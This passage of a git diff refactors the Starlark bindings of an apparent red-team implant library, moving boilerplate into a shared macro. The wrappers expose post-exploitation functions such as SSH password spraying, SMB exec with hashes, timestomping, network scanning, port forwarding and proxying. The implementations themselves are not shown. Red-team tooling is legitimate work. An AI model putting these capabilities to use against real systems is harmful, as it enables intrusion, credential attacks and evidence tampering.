String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - exists_impl::exists(path) - } - fn is_dir(this: FileLibrary, path: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - is_dir_impl::is_dir(path) - } - fn is_file(this: FileLibrary, path: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - is_file_impl::is_file(path) - } - fn list<'v>(this: FileLibrary, starlark_heap: &'v Heap, path: String) -> anyhow::Result>> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - list_impl::list(starlark_heap, path) - } - fn mkdir(this: FileLibrary, path: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - mkdir_impl::mkdir(path)?; - Ok(NoneType{}) - } - fn read(this: FileLibrary, path: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - read_impl::read(path) - } - fn remove(this: FileLibrary, path: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - remove_impl::remove(path)?; - Ok(NoneType{}) - } - fn moveto(this: FileLibrary, old: String, new: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - moveto_impl::moveto(old, new)?; - Ok(NoneType{}) - } - fn replace_all(this: FileLibrary, path: String, pattern: String, value: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - replace_all_impl::replace_all(path, pattern, value)?; - Ok(NoneType{}) - } - fn replace(this: FileLibrary, path: String, pattern: String, value: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - replace_impl::replace(path, pattern, value)?; - Ok(NoneType{}) - } - fn timestomp(this: FileLibrary, src: String, dst: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - timestomp_impl::timestomp(src, dst)?; - Ok(NoneType{}) - } - fn template(this: FileLibrary, template_path: String, dst_path: String, args: SmallMap, autoescape: bool) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - template_impl::template(template_path, dst_path, args, autoescape)?; - Ok(NoneType{}) - } - fn write(this: FileLibrary, path: String, content: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - write_impl::write(path, content)?; - Ok(NoneType{}) - } - fn find(this: FileLibrary, path: String, name: Option, file_type: Option, permissions: Option, modified_time: Option, create_time: Option) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - find_impl::find(path, name, file_type, permissions, modified_time, create_time) - } - fn follow<'v>(this: FileLibrary, path: String, f: Value<'v>, eval: &mut Evaluator<'v, '_>) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - follow_impl::follow(path, f, eval)?; - Ok(NoneType{}) - } -} diff --git a/implants/lib/eldritch/src/file/append_impl.rs b/implants/lib/eldritch/src/file/append_impl.rs index 466d7a2af..7b4e95080 100644 --- a/implants/lib/eldritch/src/file/append_impl.rs +++ b/implants/lib/eldritch/src/file/append_impl.rs @@ -5,7 +5,6 @@ use std::io::prelude::*; pub fn append(path: String, content: String) -> Result<()> { let mut file = OpenOptions::new() .create(true) //Do we want to create the file if it doesn't exist? - Yes! - .write(true) .append(true) .open(path)?; diff --git a/implants/lib/eldritch/src/file/mod.rs b/implants/lib/eldritch/src/file/mod.rs new file mode 100644 index 000000000..aa9d48469 --- /dev/null +++ b/implants/lib/eldritch/src/file/mod.rs @@ -0,0 +1,179 @@ +mod append_impl; +mod compress_impl; +mod copy_impl; +mod download_impl; +mod exists_impl; +mod find_impl; +mod follow_impl; +mod is_dir_impl; +mod is_file_impl; +mod list_impl; +mod mkdir_impl; +mod moveto_impl; +mod read_impl; +mod remove_impl; +mod replace_all_impl; +mod replace_impl; +mod template_impl; +mod timestomp_impl; +mod write_impl; + +use derive_more::Display; +use starlark::{ + collections::SmallMap, + environment::MethodsBuilder, + eval::Evaluator, + starlark_module, + values::{dict::Dict, none::NoneType, starlark_value, Heap, Value}, +}; + +#[derive(Debug, Display)] +enum FileType { + File, + Directory, + Link, + Unknown, +} + +#[derive(Debug, Display)] +#[display( + fmt = "{} {} {} {} {} {} {}", + name, + file_type, + size, + owner, + group, + permissions, + time_modified +)] +struct File { + name: String, + file_type: FileType, + size: u64, + owner: String, + group: String, + permissions: String, + time_modified: String, +} + +/* + * Define our library for this module. + */ +crate::eldritch_lib!(FileLibrary, "file_library"); + +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ +#[starlark_module] +#[rustfmt::skip] +#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] +fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn append(this: &FileLibrary, path: String, content: String) -> anyhow::Result { + append_impl::append(path, content)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn copy(this: &FileLibrary, src: String, dst: String) -> anyhow::Result { + copy_impl::copy(src, dst)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn compress(this: &FileLibrary, src: String, dst: String) -> anyhow::Result { + compress_impl::compress(src, dst)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn download(this: &FileLibrary, uri: String, dst: String) -> anyhow::Result { + download_impl::download(uri, dst)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn exists(this: &FileLibrary, path: String) -> anyhow::Result { + exists_impl::exists(path) + } + + #[allow(unused_variables)] + fn is_dir(this: &FileLibrary, path: String) -> anyhow::Result { + is_dir_impl::is_dir(path) + } + + #[allow(unused_variables)] + fn is_file(this: &FileLibrary, path: String) -> anyhow::Result { + is_file_impl::is_file(path) + } + + #[allow(unused_variables)] + fn list<'v>(this: &FileLibrary, starlark_heap: &'v Heap, path: String) -> anyhow::Result>> { + list_impl::list(starlark_heap, path) + } + + #[allow(unused_variables)] + fn mkdir(this: &FileLibrary, path: String) -> anyhow::Result { + mkdir_impl::mkdir(path)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn read(this: &FileLibrary, path: String) -> anyhow::Result { + read_impl::read(path) + } + + #[allow(unused_variables)] + fn remove(this: &FileLibrary, path: String) -> anyhow::Result { + remove_impl::remove(path)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn moveto(this: &FileLibrary, old: String, new: String) -> anyhow::Result { + moveto_impl::moveto(old, new)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn replace_all(this: &FileLibrary, path: String, pattern: String, value: String) -> anyhow::Result { + replace_all_impl::replace_all(path, pattern, value)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn replace(this: &FileLibrary, path: String, pattern: String, value: String) -> anyhow::Result { + replace_impl::replace(path, pattern, value)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn timestomp(this: &FileLibrary, src: String, dst: String) -> anyhow::Result { + timestomp_impl::timestomp(src, dst)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn template(this: &FileLibrary, template_path: String, dst_path: String, args: SmallMap, autoescape: bool) -> anyhow::Result { + template_impl::template(template_path, dst_path, args, autoescape)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn write(this: &FileLibrary, path: String, content: String) -> anyhow::Result { + write_impl::write(path, content)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn find(this: &FileLibrary, path: String, name: Option, file_type: Option, permissions: Option, modified_time: Option, create_time: Option) -> anyhow::Result> { + find_impl::find(path, name, file_type, permissions, modified_time, create_time) + } + + #[allow(unused_variables)] + fn follow<'v>(this: &FileLibrary, path: String, f: Value<'v>, eval: &mut Evaluator<'v, '_>) -> anyhow::Result { + follow_impl::follow(path, f, eval)?; + Ok(NoneType{}) + } +} diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs index acaff86d4..02dc77d05 100644 --- a/implants/lib/eldritch/src/lib.rs +++ b/implants/lib/eldritch/src/lib.rs @@ -24,7 +24,7 @@ macro_rules! insert_dict_kv { $dict.insert_hashed( match const_frozen_string!($key).to_value().get_hashed() { Ok(v) => v, - Err(err) => {return Err(err.into_anyhow())}, + Err(err) => return Err(err.into_anyhow()), }, val_val.to_value(), ); @@ -33,7 +33,7 @@ macro_rules! insert_dict_kv { $dict.insert_hashed( match const_frozen_string!($key).to_value().get_hashed() { Ok(v) => v, - Err(err) => {return Err(err.into_anyhow())}, + Err(err) => return Err(err.into_anyhow()), }, $heap.alloc($val), ); @@ -42,7 +42,7 @@ macro_rules! insert_dict_kv { $dict.insert_hashed( match const_frozen_string!($key).to_value().get_hashed() { Ok(v) => v, - Err(err) => {return Err(err.into_anyhow())}, + Err(err) => return Err(err.into_anyhow()), }, $heap.alloc($val), ); @@ -51,7 +51,7 @@ macro_rules! insert_dict_kv { $dict.insert_hashed( match const_frozen_string!($key).to_value().get_hashed() { Ok(v) => v, - Err(err) => {return Err(err.into_anyhow())}, + Err(err) => return Err(err.into_anyhow()), }, $heap.alloc($val), ); @@ -60,7 +60,7 @@ macro_rules! insert_dict_kv { $dict.insert_hashed( match const_frozen_string!($key).to_value().get_hashed() { Ok(v) => v, - Err(err) => {return Err(err.into_anyhow())}, + Err(err) => return Err(err.into_anyhow()), }, Value::new_none(), ); @@ -69,10 +69,38 @@ macro_rules! insert_dict_kv { $dict.insert_hashed( match const_frozen_string!($key).to_value().get_hashed() { Ok(v) => v, - Err(err) => {return Err(err.into_anyhow())}, + Err(err) => return Err(err.into_anyhow()), }, $heap.alloc($val), ); }; } pub(crate) use insert_dict_kv; + +macro_rules! eldritch_lib { + ($name:ident, $t:literal) => { + #[derive( + Copy, + Clone, + Debug, + PartialEq, + derive_more::Display, + starlark::values::ProvidesStaticType, + starlark::values::NoSerialize, + allocative::Allocative, + )] + #[display(fmt = stringify!($name))] + pub struct $name; + starlark::starlark_simple_value!($name); + + #[starlark_value(type = $t)] + impl<'v> starlark::values::StarlarkValue<'v> for $name { + fn get_methods() -> Option<&'static starlark::environment::Methods> { + static RES: starlark::environment::MethodsStatic = + starlark::environment::MethodsStatic::new(); + RES.methods(methods) + } + } + }; +} +pub(crate) use eldritch_lib; diff --git a/implants/lib/eldritch/src/pivot.rs b/implants/lib/eldritch/src/pivot/mod.rs similarity index 58% rename from implants/lib/eldritch/src/pivot.rs rename to implants/lib/eldritch/src/pivot/mod.rs index 458d78ed4..add0db42b 100644 --- a/implants/lib/eldritch/src/pivot.rs +++ b/implants/lib/eldritch/src/pivot/mod.rs @@ -8,117 +8,84 @@ mod ssh_copy_impl; mod ssh_exec_impl; mod ssh_password_spray_impl; -use std::sync::Arc; - -use allocative::Allocative; use anyhow::Result; use async_trait::async_trait; -use derive_more::Display; use russh::{client, Disconnect}; use russh_keys::{decode_secret_key, key}; use russh_sftp::client::SftpSession; use starlark::{ - starlark_module, starlark_simple_value, - environment::{Methods, MethodsBuilder, MethodsStatic}, - values::{ - dict::Dict, - none::NoneType, - list::UnpackList, - starlark_value, Heap, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike, - } + environment::MethodsBuilder, + starlark_module, + values::{dict::Dict, list::UnpackList, none::NoneType, starlark_value, Heap}, }; +use std::sync::Arc; -use serde::{Serialize, Serializer}; - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "PivotLibrary")] -pub struct PivotLibrary(); -starlark_simple_value!(PivotLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "pivot_library")] -impl<'v> StarlarkValue<'v> for PivotLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for PivotLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for PivotLibrary { - fn expected() -> String { - PivotLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} +/* + * Define our library for this module. + */ +crate::eldritch_lib!(PivotLibrary, "pivot_library"); -// This is where all of the "file.X" impl methods are bound +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ #[starlark_module] #[rustfmt::skip] #[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] fn methods(builder: &mut MethodsBuilder) { - fn ssh_exec<'v>(this: PivotLibrary, starlark_heap: &'v Heap, target: String, port: i32, command: String, username: String, password: Option, key: Option, key_password: Option, timeout: Option) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + #[allow(unused_variables)] + fn ssh_exec<'v>(this: &PivotLibrary, starlark_heap: &'v Heap, target: String, port: i32, command: String, username: String, password: Option, key: Option, key_password: Option, timeout: Option) -> anyhow::Result> { ssh_exec_impl::ssh_exec(starlark_heap, target, port, command, username, password, key, key_password, timeout) } - fn ssh_copy<'v>(this: PivotLibrary, target: String, port: i32, src: String, dst: String, username: String, password: Option, key: Option, key_password: Option, timeout: Option) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn ssh_copy<'v>(this: &PivotLibrary, target: String, port: i32, src: String, dst: String, username: String, password: Option, key: Option, key_password: Option, timeout: Option) -> anyhow::Result { ssh_copy_impl::ssh_copy(target, port, src, dst, username, password, key, key_password, timeout)?; Ok(NoneType{}) } - fn ssh_password_spray(this: PivotLibrary, targets: UnpackList, port: i32, credentials: UnpackList, keys: UnpackList, command: String, shell_path: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn ssh_password_spray(this: &PivotLibrary, targets: UnpackList, port: i32, credentials: UnpackList, keys: UnpackList, command: String, shell_path: String) -> anyhow::Result { ssh_password_spray_impl::ssh_password_spray(targets.items, port, credentials.items, keys.items, command, shell_path) } - fn smb_exec(this: PivotLibrary, target: String, port: i32, username: String, password: String, hash: String, command: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn smb_exec(this: &PivotLibrary, target: String, port: i32, username: String, password: String, hash: String, command: String) -> anyhow::Result { smb_exec_impl::smb_exec(target, port, username, password, hash, command) } - // May want these too: PSRemoting, WMI, WinRM - fn port_scan<'v>(this: PivotLibrary, starlark_heap: &'v Heap, target_cidrs: UnpackList, ports: UnpackList, protocol: String, timeout: i32) -> anyhow::Result>> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn port_scan<'v>(this: &PivotLibrary, starlark_heap: &'v Heap, target_cidrs: UnpackList, ports: UnpackList, protocol: String, timeout: i32) -> anyhow::Result>> { + // May want these too: PSRemoting, WMI, WinRM port_scan_impl::port_scan(starlark_heap, target_cidrs.items, ports.items, protocol, timeout) } + + #[allow(unused_variables)] fn arp_scan<'v>( - this: PivotLibrary, + this: &PivotLibrary, starlark_heap: &'v Heap, target_cidrs: UnpackList, ) -> anyhow::Result>> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } arp_scan_impl::arp_scan(starlark_heap, target_cidrs.items) } - fn port_forward(this: PivotLibrary, listen_address: String, listen_port: i32, forward_address: String, forward_port: i32, protocol: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn port_forward(this: &PivotLibrary, listen_address: String, listen_port: i32, forward_address: String, forward_port: i32, protocol: String) -> anyhow::Result { port_forward_impl::port_forward(listen_address, listen_port, forward_address, forward_port, protocol)?; Ok(NoneType{}) } - fn ncat(this: PivotLibrary, address: String, port: i32, data: String, protocol: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn ncat(this: &PivotLibrary, address: String, port: i32, data: String, protocol: String) -> anyhow::Result { ncat_impl::ncat(address, port, data, protocol) } - // Seems to have the best protocol support - https://github.com/ajmwagar/merino - fn bind_proxy(this: PivotLibrary, listen_address: String, listen_port: i32, username: String, password: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + + #[allow(unused_variables)] + fn bind_proxy(this: &PivotLibrary, listen_address: String, listen_port: i32, username: String, password: String) -> anyhow::Result { + // Seems to have the best protocol support - https://github.com/ajmwagar/merino bind_proxy_impl::bind_proxy(listen_address, listen_port, username, password)?; Ok(NoneType{}) } - - // This + smb_copy should likely move to file or rolled into the download function or made into an upload function. - // fn ssh_copy(_this: PivotLibrary, target: String, port: i32, username: String, password: String, key: String, src: String, dst: String) -> String { - // ssh_copy_impl::ssh_copy(target, port, username, password, key, command, shell_path, src, dst)?; - // Ok(NoneType{}) - // } } // SSH Client utils @@ -222,6 +189,6 @@ struct CommandResult { impl CommandResult { fn output(&self) -> Result { - Ok(String::from_utf8_lossy(&self.output).try_into()?) + Ok(String::from_utf8_lossy(&self.output).to_string()) } } diff --git a/implants/lib/eldritch/src/pivot/port_scan_impl.rs b/implants/lib/eldritch/src/pivot/port_scan_impl.rs index 78b0abbc4..dc4cb33c0 100644 --- a/implants/lib/eldritch/src/pivot/port_scan_impl.rs +++ b/implants/lib/eldritch/src/pivot/port_scan_impl.rs @@ -64,11 +64,7 @@ fn get_network_and_broadcast(target_cidr: String) -> Result<(Vec, Vec) // Split on / to get host and cidr bits. let tmpvec: Vec<&str> = target_cidr.split('/').collect(); let host = tmpvec.first().context("Index 0 not found")?.to_string(); - let bits: u32 = tmpvec - .get(1) - .context("Index 1 not found")? - .parse::()? - .try_into()?; + let bits: u32 = tmpvec.get(1).context("Index 1 not found")?.parse::()? as u32; // Define our vector representations. let mut addr: Vec = vec![0, 0, 0, 0]; @@ -76,7 +72,7 @@ fn get_network_and_broadcast(target_cidr: String) -> Result<(Vec, Vec) let mut bcas: Vec = vec![0, 0, 0, 0]; let mut netw: Vec = vec![0, 0, 0, 0]; - let cidr: u64 = bits.try_into()?; + let cidr: u64 = bits as u64; let (octet_one, octet_two, octet_three, octet_four) = scanf!(host, ".", u64, u64, u64, u64); addr[3] = octet_four.context(format!("Failed to extract fourth octet {}", host))?; @@ -195,7 +191,7 @@ async fn udp_scan_socket( Ok((target_host, target_port, UDP.to_string(), OPEN.to_string())) } Err(err) => { - match format!("{}", err.to_string()).as_str() { + match err.to_string().as_str() { // Windows throws a weird error when scanning on localhost. // Considering the port closed. "An existing connection was forcibly closed by the remote host. (os error 10054)" if cfg!(target_os = "windows") => { @@ -225,7 +221,7 @@ async fn handle_scan( match udp_scan_socket(target_host.clone(), port).await { Ok(res) => result = res, Err(err) => { - let err_str = format!("{}", err.to_string()); + let err_str = err.to_string(); match err_str.as_str() { // If OS runs out source ports of raise a common error to `handle_port_scan_timeout` // So a sleep can run and the port/host retried. @@ -251,7 +247,7 @@ async fn handle_scan( Ok(res) => result = res, Err(err) => { // let err_str = String::from(format!("{}", err.to_string())).as_str(); - let err_str = format!("{}", err.to_string()); + let err_str = err.to_string(); match err_str.as_str() { // If OS runs out file handles of raise a common error to `handle_port_scan_timeout` // So a sleep can run and the port/host retried. @@ -306,7 +302,7 @@ async fn handle_port_scan_timeout( Ok(res) => { match res { Ok(scan_res) => return Ok(scan_res), - Err(scan_err) => match format!("{}", scan_err.to_string()).as_str() { + Err(scan_err) => match scan_err.to_string().as_str() { // If the OS is running out of resources wait and then try again. "Low resources try again" => { sleep(Duration::from_secs(3)).await; @@ -546,7 +542,7 @@ mod tests { // Iterate over append port number and start listen server let mut listen_tasks = vec![]; for listener in bound_listeners_vec.into_iter() { - test_ports.push(listener.local_addr()?.port().try_into()?); + test_ports.push(listener.local_addr()?.port() as i32); listen_tasks.push(task::spawn(local_accept_tcp(listener))); } diff --git a/implants/lib/eldritch/src/pivot/ssh_copy_impl.rs b/implants/lib/eldritch/src/pivot/ssh_copy_impl.rs index 117f36ec3..e426295dd 100644 --- a/implants/lib/eldritch/src/pivot/ssh_copy_impl.rs +++ b/implants/lib/eldritch/src/pivot/ssh_copy_impl.rs @@ -15,7 +15,7 @@ async fn handle_ssh_copy( timeout: Option, ) -> Result<()> { let mut ssh = tokio::time::timeout( - std::time::Duration::from_secs(timeout.unwrap_or(3).try_into()?), + std::time::Duration::from_secs(timeout.unwrap_or(3) as u64), Session::connect( username, password, diff --git a/implants/lib/eldritch/src/pivot/ssh_exec_impl.rs b/implants/lib/eldritch/src/pivot/ssh_exec_impl.rs index d76c2dad0..b00d6549c 100644 --- a/implants/lib/eldritch/src/pivot/ssh_exec_impl.rs +++ b/implants/lib/eldritch/src/pivot/ssh_exec_impl.rs @@ -25,7 +25,7 @@ async fn handle_ssh_exec( timeout: Option, ) -> Result { let mut ssh = tokio::time::timeout( - std::time::Duration::from_secs(timeout.unwrap_or(3).try_into()?), + std::time::Duration::from_secs(timeout.unwrap_or(3) as u64), Session::connect( username, password, diff --git a/implants/lib/eldritch/src/process.rs b/implants/lib/eldritch/src/process.rs deleted file mode 100644 index 2412ffcb8..000000000 --- a/implants/lib/eldritch/src/process.rs +++ /dev/null @@ -1,79 +0,0 @@ -mod info_impl; -mod kill_impl; -mod list_impl; -mod name_impl; -mod netstat_impl; - -use allocative::Allocative; -use derive_more::Display; - -use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; -use starlark::values::dict::Dict; -use starlark::values::none::NoneType; -use starlark::values::{ - starlark_value, Heap, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike, -}; -use starlark::{starlark_module, starlark_simple_value}; - -use serde::{Serialize, Serializer}; - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "ProcessLibrary")] -pub struct ProcessLibrary(); -starlark_simple_value!(ProcessLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "process_library")] -impl<'v> StarlarkValue<'v> for ProcessLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for ProcessLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for ProcessLibrary { - fn expected() -> String { - ProcessLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -// This is where all of the "process.X" impl methods are bound -#[starlark_module] -#[rustfmt::skip] -#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] -fn methods(builder: &mut MethodsBuilder) { - fn kill(this: ProcessLibrary, pid: i32) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - kill_impl::kill(pid)?; - Ok(NoneType{}) - } - fn list<'v>(this: ProcessLibrary, starlark_heap: &'v Heap) -> anyhow::Result>> { //Should we use the JSON starlark type instead of String? Do I implement that here or somewhere else? - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - list_impl::list(starlark_heap) - } - fn info<'v>(this: ProcessLibrary, starlark_heap: &'v Heap, pid: Option) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - info_impl::info(starlark_heap, pid) - } - fn name(this: ProcessLibrary, pid: i32) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - name_impl::name(pid) - } - fn netstat<'v>(this: ProcessLibrary, starlark_heap: &'v Heap) -> anyhow::Result>> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - netstat_impl::netstat(starlark_heap) - } -} diff --git a/implants/lib/eldritch/src/process/mod.rs b/implants/lib/eldritch/src/process/mod.rs new file mode 100644 index 000000000..9f92b3446 --- /dev/null +++ b/implants/lib/eldritch/src/process/mod.rs @@ -0,0 +1,51 @@ +mod info_impl; +mod kill_impl; +mod list_impl; +mod name_impl; +mod netstat_impl; + +use starlark::{ + environment::MethodsBuilder, + starlark_module, + values::{dict::Dict, none::NoneType, starlark_value, Heap}, +}; + +/* + * Define our library for this module. + */ +crate::eldritch_lib!(ProcessLibrary, "process_library"); + +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ +#[starlark_module] +#[rustfmt::skip] +#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] +fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn kill(this: &ProcessLibrary, pid: i32) -> anyhow::Result { + kill_impl::kill(pid)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn list<'v>(this: &ProcessLibrary, starlark_heap: &'v Heap) -> anyhow::Result>> { + list_impl::list(starlark_heap) + } + + #[allow(unused_variables)] + fn info<'v>(this: &ProcessLibrary, starlark_heap: &'v Heap, pid: Option) -> anyhow::Result> { + info_impl::info(starlark_heap, pid) + } + + #[allow(unused_variables)] + fn name(this: &ProcessLibrary, pid: i32) -> anyhow::Result { + name_impl::name(pid) + } + + #[allow(unused_variables)] + fn netstat<'v>(this: &ProcessLibrary, starlark_heap: &'v Heap) -> anyhow::Result>> { + netstat_impl::netstat(starlark_heap) + } +} diff --git a/implants/lib/eldritch/src/report/mod.rs b/implants/lib/eldritch/src/report/mod.rs index 8709fd177..baa7c8f10 100644 --- a/implants/lib/eldritch/src/report/mod.rs +++ b/implants/lib/eldritch/src/report/mod.rs @@ -1,58 +1,28 @@ mod process_list_impl; -use allocative::Allocative; -use derive_more::Display; -use serde::{Serialize, Serializer}; -use starlark::collections::SmallMap; -use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; -use starlark::eval::Evaluator; -use starlark::values::list::UnpackList; -use starlark::values::none::NoneType; -use starlark::values::{ - starlark_value, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike, +use starlark::{ + collections::SmallMap, + environment::MethodsBuilder, + eval::Evaluator, + starlark_module, + values::{list::UnpackList, none::NoneType, starlark_value, Value}, }; -use starlark::{starlark_module, starlark_simple_value}; -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "ReportLibrary")] -pub struct ReportLibrary(); -starlark_simple_value!(ReportLibrary); +/* + * Define our library for this module. + */ +crate::eldritch_lib!(ReportLibrary, "report_library"); -#[allow(non_upper_case_globals)] -#[starlark_value(type = "report_library")] -impl<'v> StarlarkValue<'v> for ReportLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for ReportLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for ReportLibrary { - fn expected() -> String { - ReportLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -// This is where all of the "report.X" impl methods are bound +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ #[starlark_module] #[rustfmt::skip] #[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] fn methods(builder: &mut MethodsBuilder) { - fn process_list(this: ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, process_list: UnpackList>) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } + #[allow(unused_variables)] + fn process_list(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, process_list: UnpackList>) -> anyhow::Result { process_list_impl::process_list(starlark_eval, process_list.items)?; Ok(NoneType{}) } diff --git a/implants/lib/eldritch/src/runtime/exec.rs b/implants/lib/eldritch/src/runtime/exec.rs index 62d5ec990..61765a6fd 100644 --- a/implants/lib/eldritch/src/runtime/exec.rs +++ b/implants/lib/eldritch/src/runtime/exec.rs @@ -117,10 +117,9 @@ fn run_impl(env: Environment, tome: &Tome) -> Result<()> { eval.set_print_handler(&env); match eval.eval_module(ast, &globals) { - Ok(_) => Ok(()), + Ok(_) => Ok(()), Err(err) => Err(err.into_anyhow().context("failed to evaluate tome")), } - } /* @@ -152,14 +151,14 @@ impl Runtime { pub fn globals() -> Globals { #[starlark_module] fn eldritch(builder: &mut GlobalsBuilder) { - const file: FileLibrary = FileLibrary(); - const process: ProcessLibrary = ProcessLibrary(); - const sys: SysLibrary = SysLibrary(); - const pivot: PivotLibrary = PivotLibrary(); - const assets: AssetsLibrary = AssetsLibrary(); - const crypto: CryptoLibrary = CryptoLibrary(); - const time: TimeLibrary = TimeLibrary(); - const report: ReportLibrary = ReportLibrary(); + const file: FileLibrary = FileLibrary; + const process: ProcessLibrary = ProcessLibrary; + const sys: SysLibrary = SysLibrary; + const pivot: PivotLibrary = PivotLibrary; + const assets: AssetsLibrary = AssetsLibrary; + const crypto: CryptoLibrary = CryptoLibrary; + const time: TimeLibrary = TimeLibrary; + const report: ReportLibrary = ReportLibrary; } GlobalsBuilder::extended_by(&[ diff --git a/implants/lib/eldritch/src/runtime/mod.rs b/implants/lib/eldritch/src/runtime/mod.rs index e5c164cdd..298c6520a 100644 --- a/implants/lib/eldritch/src/runtime/mod.rs +++ b/implants/lib/eldritch/src/runtime/mod.rs @@ -158,11 +158,7 @@ mod tests { let out = runtime.collect_text(); let err = runtime.collect_errors().pop(); - assert!( - err.is_none(), - "failed with err {}", - err.unwrap().to_string() - ); + 